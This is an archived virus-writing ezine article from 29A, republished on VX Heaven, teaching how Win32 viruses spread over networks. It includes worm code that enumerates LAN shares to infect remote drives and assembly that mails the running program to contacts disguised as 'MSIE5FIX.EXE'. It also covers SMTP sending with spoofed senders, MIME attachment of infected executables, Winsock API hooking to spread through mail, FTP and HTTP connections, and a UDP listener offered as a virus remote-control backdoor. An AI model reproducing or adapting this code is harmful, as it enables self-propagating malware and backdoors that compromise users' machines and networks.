Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Win32 Viral Networking Overwiew

GriYo
29a [4full]
March 2000

1
[Back to index] [Comments]

I love VX ezines...

The articles that deepen in a very concrete topic are my favorite ones, but usually i let them for later... There are some kind of articles that I like to read the first ones: Those which looks like a big compilation of technics and small tricks that always finish being useful.

This article belongs to this group. we will speak above several aspects of Win32 networking, but always centering in our viral desires.

Blocking

We all know the typical operation of a virus: The virus receives the control instead of the program. The virus executes its actions to be became resident and/or to infect other files. The virus returns the execution to the program.

All these actions made by the virus have to be carried out very quickly. Otherwise the user could notice that his system works in a different way: The programs take in being executed. Something makes the system to work slowly.

Well, this it is the first problem. Some of the functions of those that we will speak require certain time to be done. Among these they are functions to connect with other computers, to send information...

The most common ways of avoiding this are:

LAN

Local area networks are like a cultivation of cells for a virus. Heaps of computers can be infected in question of... minutes? The idea is to take advantage of the interconnection capacity among the computers in order to be able to infect programs in remote.

Some forms of taking finish this are:

This part of iWorm.Cholera demostrates the above:

long WINAPI L0calThread(long lParam)
{
        char szLD[ 512] ;
        char *lpszDrive ;
        int size ;

        lpszDrive = &szLD[ 0] ;    
       
        size = GetLogicalDriveStringsA ( 512, lpszDrive) ;

        if ( ( size != 0) && ( size < 512))
        {
                while ( *lpszDrive != (char ) NULL)
                {
                        if ( GetDriveTypeA( lpszDrive) == DRIVE_FIXED)
                        {
                                *( lpszDrive + 2) = 0 ;

                                Rem0teInfecti0n( lpszDrive) ;

                                lpszDrive += 3 ;
                        }
                        while ( *lpszDrive != ( char) NULL) lpszDrive++ ;
                        lpszDrive++ ;
                }
        }
        else Rem0teInfecti0n( "C:\\") ;

        return 0 ;
}

long WINAPI Rem0teThread(long lParam)
{
        if ( ( hMPR = LoadLibraryA ( szMPR_DLL)) != NULL)
        {      
                a_WNetOpenEnum          = ( FARPROC) GetProcAddress ( hMPR, szWNetOpenEnumA) ;
                a_WNetCloseEnum         = ( FARPROC) GetProcAddress ( hMPR, szWNetCloseEnum) ;
                a_WNetEnumResource      = ( FARPROC) GetProcAddress ( hMPR, szWNetEnumResourceA) ;

                if (    ( a_WNetOpenEnum != NULL)       &&
                        ( a_WNetCloseEnum != NULL)      &&
                        ( a_WNetEnumResource != NULL))
                {
                        NetW0rming( NULL) ;
                }
                FreeLibrary ( hMPR) ;
        }

        return 0 ;
}

void NetW0rming( LPNETRESOURCE lpnr)
{
        LPNETRESOURCE   lpnrLocal ;
        HANDLE          hEnum ;
        int             count ;
        int             cEntries = 0xFFFFFFFF ;
        DWORD           dwResult ;
        DWORD           cbBuffer = 32768 ;

        if ( a_WNetOpenEnum (   RESOURCE_CONNECTED,
                                RESOURCETYPE_ANY,
                                0,
                                lpnr,
                                &hEnum) != NO_ERROR) return ;
        do
        {
                lpnrLocal = ( LPNETRESOURCE) GlobalAlloc( GPTR, cbBuffer) ;

                dwResult = a_WNetEnumResource(  hEnum,
                                                &cEntries,
                                                lpnrLocal,
                                                &cbBuffer) ;
                if ( dwResult == NO_ERROR)
                {
                        for ( count = 1 ; count < cEntries ; count++ )
                        {
                                if ( lpnrLocal[ count].dwUsage & RESOURCEUSAGE_CONTAINER)
                                {
                                        NetW0rming( &lpnrLocal[ count]) ;
                                }
                                else if ( lpnrLocal[ count].dwType = RESOURCETYPE_DISK)
                                {
                                        Rem0teInfecti0n( lpnrLocal[ count].lpRemoteName) ;
                                }
                        }
                }
                else if (dwResult != ERROR_NO_MORE_ITEMS) break ;

        } while ( dwResult != ERROR_NO_MORE_ITEMS) ;

        GlobalFree ( ( HGLOBAL) lpnrLocal) ;

        a_WNetCloseEnum( hEnum) ;

        return ;
}
 

Let the imagination to fly. You will find tons of ways to *exploit* the interconnection among computers in a LAN:

Internet

Internet is for a virus like a big LAN, with an advantage: The remote systemas can be in very distant geographical areas. This allows the virus to travel quickly all over the world.

Lets see several propagation techniques that are applied to internet...

Electronic mail propagation

If we want our virus to be able to send copies of itself by electronic mail we will need:

Step by step. To build electronic mail message we can:

Electronic mail propagation with MAPI

MAPI is the easy way for generating mail. You can use MAPI32.DLL and functions like MAPILogOn, MAPISendMail, MAPISendDocuments, etc...

To see how simple it is, lets look at this sample code. It looks at the messages in your INBOX folder to get email addresses. Then it generates a message which carries a copy of itself under the name MSIE5FIX.EXE

                .386P
                locals
                jumps
                .model flat,STDCALL

                include Win32api.inc
                include Useful.inc

                extrn ExitProcess:NEAR
                extrn LoadLibraryA:NEAR
                extrn GetModuleFileNameA:NEAR
                extrn GetProcAddress:NEAR
                extrn FreeLibrary:NEAR
                extrn ExitProcess:NEAR

_TEXT           segment dword use32 public 'CODE'

demo_entry:     xor ebp,ebp     ;We will use delta-offset when including
                                ;this in our virus. By now delta is NULL

                push MAX_PATH
                lea eax,dword ptr [ebp+szFileAttach]
                push eax
                push 00000000h                         
                call GetModuleFileNameA ;Get the path and name of the file
                                        ;used to create current process

                call getMAPI32sz        ;Load MAPI32.DLL
                               
                db "MAPI32.DLL",00h

getMAPI32sz:    call LoadLibraryA
                or eax,eax
                jz errMAPI32            ;Be smart, always do error-checking

                mov dword ptr [ebp+hMAPI32],eax

                call getMAPIfunc01      ;Get MAPILogOn entry-point

                db "MAPILogon",00h

getMAPIfunc01:  push dword ptr [ebp+hMAPI32]
                call GetProcAddress
                or eax,eax
                jz freeMAPI32
                mov dword ptr [ebp+a_MAPILogon],eax

                call getMAPIfunc02      ;Get MAPILogOut entry-point

                db "MAPILogoff",00h

getMAPIfunc02:  push dword ptr [ebp+hMAPI32]
                call GetProcAddress
                or eax,eax
                jz freeMAPI32
                mov dword ptr [ebp+a_MAPILogoff],eax

                call getMAPIfunc03      ;Get MAPISendMail entry-point

                db "MAPISendMail",00h

getMAPIfunc03:  push dword ptr [ebp+hMAPI32]
                call GetProcAddress
                or eax,eax
                jz freeMAPI32
                mov dword ptr [ebp+a_MAPISendMail],eax

                ;LogOn... This isnt necesary, as we can call MAPISendMail
                ;specifying an existing and shared MAPI session

                lea eax,dword ptr [ebp+hMAPISession]
                push eax
                push 00000000h
                push 00000000h                          ;MAPI_NEW_SESSION
                lea eax,dword ptr [ebp+szPassword]
                push eax
                lea eax,dword ptr [ebp+szUsername]
                push eax
                push 00000000h
                call dword ptr [ebp+a_MAPILogon]
                or eax,eax
                jnz freeMAPI32

                ;Build message

                cld
                lea edi,dword ptr [ebp+MapiMessage]
                xor eax,eax
                stosd                                                   ;ulReserved
                lea eax,dword ptr [ebp+szSubject]
                stosd                                                   ;lpszSubject
                lea eax,dword ptr [ebp+szNoteText]
                stosd                                                   ;lpszNoteText
                xor eax,eax
                stosd                                                   ;lpszMessageType
                lea eax,dword ptr [ebp+szDate]
                stosd                                                   ;lpszDate
                xor eax,eax
                stosd                                                   ;lpszConversationID
                mov eax,00000002h ;MAPI_RECEIPT_REQUESTED
                stosd                                                   ;flFlags
                lea eax,dword ptr [ebp+MsgFrom]
                stosd                                                   ;lpOriginator
                mov eax,00000001h
                stosd                                                   ;nRecipCount
                lea eax,dword ptr [ebp+MsgTo]
                stosd                                                   ;lpRecips
                mov eax,00000001h
                stosd                                                   ;nFileCount
                lea eax,dword ptr [ebp+MapiFileDesc]
                stosd                                                   ;lpFiles

                ;Originator
                               
                xor eax,eax                                             ;ulReserved
                stosd
                stosd                                                   ;ulRecipClass                                                                                                                   ;MAPI_ORIG
                lea eax,dword ptr [ebp+szNameFrom]             
                stosd                                                   ;lpszName
                lea eax,dword ptr [ebp+szMailFrom]             
                stosd                                                   ;lpszAddress
                xor eax,eax
                stosd                                                   ;ulEIDSize
                stosd                                                   ;lpEntryID

                ;Message destination

                stosd                                                   ;ulReserved
                inc eax ;MAPI_TO
                stosd                                                   ;ulRecipClass
                lea eax,dword ptr [ebp+szNameTo]               
                stosd                                                   ;lpszName
                lea eax,dword ptr [ebp+szMailTo]               
                stosd                                                   ;lpszAddress
                xor eax,eax
                stosd                                                   ;ulEIDSize
                stosd                                                   ;lpEntryID

                ;Attachments

                stosd                                                   ;ulReserved
                stosd                                                   ;flFlags
                mov eax,00000000h
                stosd                                                   ;nPosition
                lea eax,dword ptr [ebp+szFileAttach]
                stosd                                                   ;lpszPathName
                lea eax,dword ptr [ebp+szFileMsg]
                stosd                                                   ;lpszFileName
                xor eax,eax
                stosd                                                   ;lpFileType

                ;Send mail

                push 00000000h
                push 00000000h
                lea eax,dword ptr [ebp+MapiMessage]
                push eax
                push 00000000h
                push dword ptr [ebp+hMAPISession]

                call dword ptr [ebp+a_MAPISendMail]

                ;Log off

logoutMAPI32:   push 00000000h
                push 00000000h
                push 00000000h
                push dword ptr [ebp+hMAPISession]
                call dword ptr [ebp+a_MAPILogoff]                                              

                ;Free MAPI32.DLL

freeMAPI32:     push dword ptr [ebp+hMAPI32]
                call FreeLibrary

errMAPI32:      push 00000000h
                call ExitProcess

_TEXT           ends

_DATA           segment dword use32 public 'DATA'

hMAPI32         dd 00000000h
a_MAPILogon     dd 00000000h
a_MAPILogoff    dd 00000000h
a_MAPISendMail  dd 00000000h

hMAPISession    dd 00000000h

szUsername      db "",00h
szPassword      db "",00h

szNameFrom      db "test",00h                           ;Originator
szMailFrom      db "SMTP:[email protected]",00h

szNameTo        db "yourself",00h                       ;Destination
szMailTo        db "SMTP:[email protected]",00h

szSubject       db "Testing MAPI32",00h
szNoteText      db "This is the message body",00h

szDate          db "1999/06/06 16:06",00h

szFileAttach    db MAX_PATH dup (00h)

szFileMsg       db "MSIE5FIX.EXE",00h

MapiMessage     equ $

                dd 00000000h ;ulReserved               
                dd 00000000h ;lpszSubject              
                dd 00000000h ;lpszNoteText     
                dd 00000000h ;lpszMessageType
                dd 00000000h ;lpszDate 
                dd 00000000h ;lpszConversationID       
                dd 00000000h ;flFlags                  
                dd 00000000h ;lpOriginator     
                dd 00000000h ;nRecipCount              
                dd 00000000h ;lpRecips         
                dd 00000000h ;nFileCount
                dd 00000000h ;lpFiles                  

MsgFrom         equ $

                dd 00000000h ;ulReserved
                dd 00000000h ;ulRecipClass
                dd 00000000h ;lpszName
                dd 00000000h ;lpszAddress
                dd 00000000h ;ulEIDSize
                dd 00000000h ;lpEntryID

MsgTo           equ $

                dd 00000000h ;ulReserved
                dd 00000000h ;ulRecipClass
                dd 00000000h ;lpszName
                dd 00000000h ;lpszAddress
                dd 00000000h ;ulEIDSize
                dd 00000000h ;lpEntryID

MapiFileDesc    equ $

                dd 00000000h ;ulReserved
                dd 00000000h ;flFlags
                dd 00000000h ;nPosition
                dd 00000000h ;lpszPathName
                dd 00000000h ;lpszFileName
                dd 00000000h ;lpFileType

_DATA           ends

_BSS            segment dword use32 public 'BSS'

                db "Playing with MAPI32.DLL",00h
                db "BioCoded by Maia",00h

_BSS            ends

                end demo_entry
 

As you can see using MAPI is not very difficult at all, nothing compared with writing your own SMTP engine. If you choose to write your own SMTP engine you will need to code routines to encode de attached files and to handle attachments.

Electronic mail propagation using our own SMTP engine

Did you ever sent a mail using TELNET? Just type:

 		TELNET smtp.server.com 25

Use the name of a mail server you know or you normaly use. You should recive an answer like:

		Connecting to smtp.server.com...
		Trying x.x.x.x ... connected.
		220 smtp.server.com Sendmail 6.66 ready at Sun, 4 June 1999

Remember to press ENTER after each command. Wait for connection and after reciving the answer type:

		HELO servername.com

Then you will recive an answer like:

		250 smtp.server.com Hello your.host.com, pleased to meet you

Now type:

		MAIL FROM: <[email protected]>

This is where the message comes from. You can spoof this address using the username/server you want. Some Win32.Parvo generated email's look's like comming from Microsoft, for instance. Wait for response, it will look like:

		250 <[email protected]>... Sender ok

And now type:

		RCPT TO: <[email protected]>

This last command tells the destination address for the mail. You should recive now this answer:

		250 <[email protected]>... Recipient ok

Type:

		DATA

The server replies:

		354 Enter mail, end with "." on a line by itself

Now you can enter the mail body, type the following without waiting for response:

		FROM: myname <[email protected]>
		TO: someone <[email protected]>
		SUBJECT: just playing with smtp

		hello!

		.

Note that the last command is a "." by itself. The mail is generated, type:

		QUIT

And the work is done. A self mailing virus using its own SMTP engine have to perform all the above mentioned tasks... The complete list follows:

But... What about attachments? The virus have to send an infected executable file. You can use MIME and BASE64. This is an example of a MIME multipart message:

;--------------->8----------------------------------------------------------

MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0005_01BDE2FC.8B286C00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01BDE2EC.8B286C00
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

This is the text message.

------=_NextPart_000_0005_01BDE2EC.8B286C00
Content-Type: application/octet-stream;	name=filename.exe
Content-Transfer-Encoding: base64',0Ah
Content-Disposition: attachment; filename="filename.exe"

TVqQAAMAAAAEAAAA//...this is the BASE64 encoded file...

;--------------->8----------------------------------------------------------

For more information on the SMTP protocol read RFC 821 [Postel 1982] and RFC 822 [Crocker 1982]. You can find how MIME works in RFC 1521 [Borenstein and Freed 1993].

WINSOCK

Before we have spoken of things as 'connect to the server' or 'send the message'. For this purpose we will use the functions provided by WSOCK32.DLL (socket, connect, send, recv...). There is no need to use Winsock if we are using MAPI (which deliver the messages for us).

The following example was written in C++ and shows how to connect to an IRC server on port 6667:

        // Create IRC SERVER socket

        m_AsyncSocket = new CAsyncSocket ;

        if( !m_AsyncSocket->Create( 0,
                                    SOCK_STREAM,
                                    FD_READ|FD_CONNECT|FD_CLOSE,
                                    NULL)) return -1 ;
               
        m_AsyncSocket->m_RichEditCtrl = m_RichEditCtrl ;

        // Connect to IRC SERVER

        struct sockaddr_in      server ;
        struct hostent          *hp ;
        unsigned int            addr ;

        char servername[]="aire.irc-hispano.org" ;

        // Check if servername is a name or a ip address

        if ( isalpha ( servername[ 0])) hp = gethostbyname ( servername) ;
        else  
        {
                // IP address

                addr = inet_addr( servername) ;
                hp = gethostbyaddr( ( char *) &amp;addr, 4, AF_INET) ;
        }

        if ( hp == NULL)
        {
                m_AsyncSocket->Close();
                return FALSE ;
        }
 
        memset ( &amp;server, 0, sizeof ( server)) ;
        memcpy ( &amp;( server.sin_addr), hp->h_addr, hp->h_length) ;
        server.sin_family = hp->h_addrtype ;
        server.sin_port = htons ( 6667) ;       // IRC port

        if( !m_AsyncSocket->Connect( ( struct sockaddr*) &amp;server,
                                     sizeof( sockaddr_in)))
        {
                if ( WSAGetLastError() != WSAEWOULDBLOCK)
                {
                        m_AsyncSocket->Close() ;
                        return -1 ;
                }
        }
 

Have a look at Win32.Parvo source code. Parvo uses Winsock to connect to a SMTP server and also implements is own SMTP, MIME and BASE64 engines, everything written in assembler.

Other 'creative' ways of using sockets in a virus they can be:

Hooking networking APIs

A virus can hook Winsock connect API. When this hook recives control the virus can check the desired port, if its 25 (SMTP) its time to spread by mail using that server. This is how the worm HAPPY99 works, and works fine, but requires patching Winsock dll. This tech can be hard to implement without modifying Winsock on some way. The virus can hook Winsock APIs imported by the infected files, but this functions are ussually imported by ordinal or have been included inside a DLL that is loaded by the main executable. The solution is to hook LoadLibrary and GetProcAddress, in order to hook APIs imported by loaded DLLs. I think there arent better samples of this than Vecna's recent network-enabled viruses.

But wait! This can be done not only for port 25. We can, for instance, monitor for port 21 (FTP) and try to create a virus dropper on the incomming directory of the server the user is connecting to. Even port 80 (HTTP) can gives us something to play with, again, let your imagination fly.

Remote control

To be able to control a virus in remote through a net seems a formidable idea.

As example of this I present two simple programs written using Visual C++.

The first of them acts as server, and its the part that we would have to include in a virus that will listened to us.

The second it acts as client, and its the program that we would use to be able to communicate with the virus. Something like a remote control.

The server program creates a socket and it remains awaiting your orders. When it receives a packet it just displays its contents on a messagebox.

This example is very basic, but you could modify it easily. For example, you could code the content of the packages, so that they indicate different actions to carry out. If you recive a 00 could show a message, if you recive a 01 could turn off Windows, etc...

This is the way in that programs like BackOrifice or NetBus works. Why not to apply it to a virus?. For instance, a virus that to a certain order left an infected system. Some may wonder why we could want to clean our virus in remote... A virus can be used to penetrate into a system, to carry out a certain mission and left this system... Cool, isnt it?

 
//
// SERVER.CPP
//

#include "stdafx.h"
#include &lt;windows.h>
#include &lt;winsock2.h>

#define LISTEN_PORT 16384

int main(int argc, char* argv[])
{
        char    Buffer[ 128] ;
        int     retval, fromlen;
        struct  sockaddr_in local, from ;
        WSADATA wsaData ;
        SOCKET  listen_socket ;

        if ( WSAStartup( 0x202, &amp;wsaData) == SOCKET_ERROR)
        {
                WSACleanup() ;
                return -1 ;
        }

        local.sin_family = AF_INET ;
        local.sin_addr.s_addr = INADDR_ANY ;
        local.sin_port = htons( LISTEN_PORT) ;
       
        if ( ( listen_socket = socket( AF_INET, SOCK_DGRAM, 0)) == INVALID_SOCKET)
        {
                WSACleanup() ;
                return -1 ;
        }

        if ( bind(      listen_socket,
                        ( struct sockaddr*) &amp;local,
                        sizeof( local)) == SOCKET_ERROR)
        {
                WSACleanup() ;
                return -1 ;
        }

        fromlen = sizeof( from) ;

        printf ( "Waiting for incomming messages...\n\n") ;
        do
        {
                retval = recvfrom(      listen_socket,
                                        Buffer,
                                        sizeof ( Buffer),
                                        0,
                                        ( struct sockaddr *) &amp;from,
                                        &amp;fromlen) ;

                if ( retval != SOCKET_ERROR)
                {
                        Buffer[ retval] = NULL ;
                        MessageBox(     NULL,
                                        Buffer,
                                        inet_ntoa( from.sin_addr),
                                        MB_ICONINFORMATION | MB_OK) ;
                }

        } while ( 1) ;

        closesocket( listen_socket) ;
        WSACleanup() ;

        return 0 ;
}
 
//
// CLIENT.CPP
//

#include "stdafx.h"
#include &lt;windows.h>
#include &lt;winsock2.h>

#define LISTEN_PORT 16384

int main(int argc, char *argv[])
{
        struct sockaddr_in      server ;
        struct hostent          *hp ;
        unsigned int            addr ;
        WSADATA                         wsaData ;
        SOCKET                          conn_socket ;

        if ( argc != 3)
        {
                printf ( "Usage:\n\n%s &lt;target> &lt;\"message\">\n\n", argv[ 0]) ;
                return -1 ;
        }

        if ( WSAStartup ( 0x0202, &amp;wsaData) == SOCKET_ERROR)
        {      
                printf ( "Error: WSAStartup()\n\n") ;
                WSACleanup () ;
                return -1 ;
        }

        if ( isalpha ( *argv[ 1])) hp = gethostbyname ( argv[ 1]) ;
        else  
        {
                addr = inet_addr( argv[ 1]) ;
                hp = gethostbyaddr( ( char *) &amp;addr, 4, AF_INET) ;
        }

        if ( hp == NULL)
        {
                printf ( "Error: Target not found\n\n") ;
                WSACleanup () ;
                return -1 ;
        }
 
        memset ( &amp;server, 0, sizeof ( server)) ;
        memcpy ( &amp;( server.sin_addr), hp->h_addr, hp->h_length) ;
        server.sin_family = hp->h_addrtype ;
        server.sin_port = htons ( LISTEN_PORT) ;

        conn_socket = socket ( AF_INET, SOCK_DGRAM, 0) ;

        if ( conn_socket &lt; 0)
        {
                printf ( "Error: socket()\n\n") ;
                WSACleanup () ;
                return -1 ;
        }

        // Yes, yes, i know UDP is connectionless... but there is a reason for this, belive me

        if ( connect( conn_socket, ( struct sockaddr*) &amp;server, sizeof ( server)) == SOCKET_ERROR)
        {
                printf ( "Error: connect()\n\n") ;
                closesocket( conn_socket) ;
                WSACleanup () ;
                return -1 ;
        }

        if ( send( conn_socket, argv[ 2], strlen ( argv[ 2]), 0) == SOCKET_ERROR)
        {
                printf ( "Error: send()\n\n") ;
                closesocket( conn_socket) ;
                WSACleanup () ;
                return -1 ;
        }

        return 0 ;
}
 

Good, and this is everything per today. I hope you have enjoyed.

			GriYo/29A
			I'm not in the business... I am the business
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua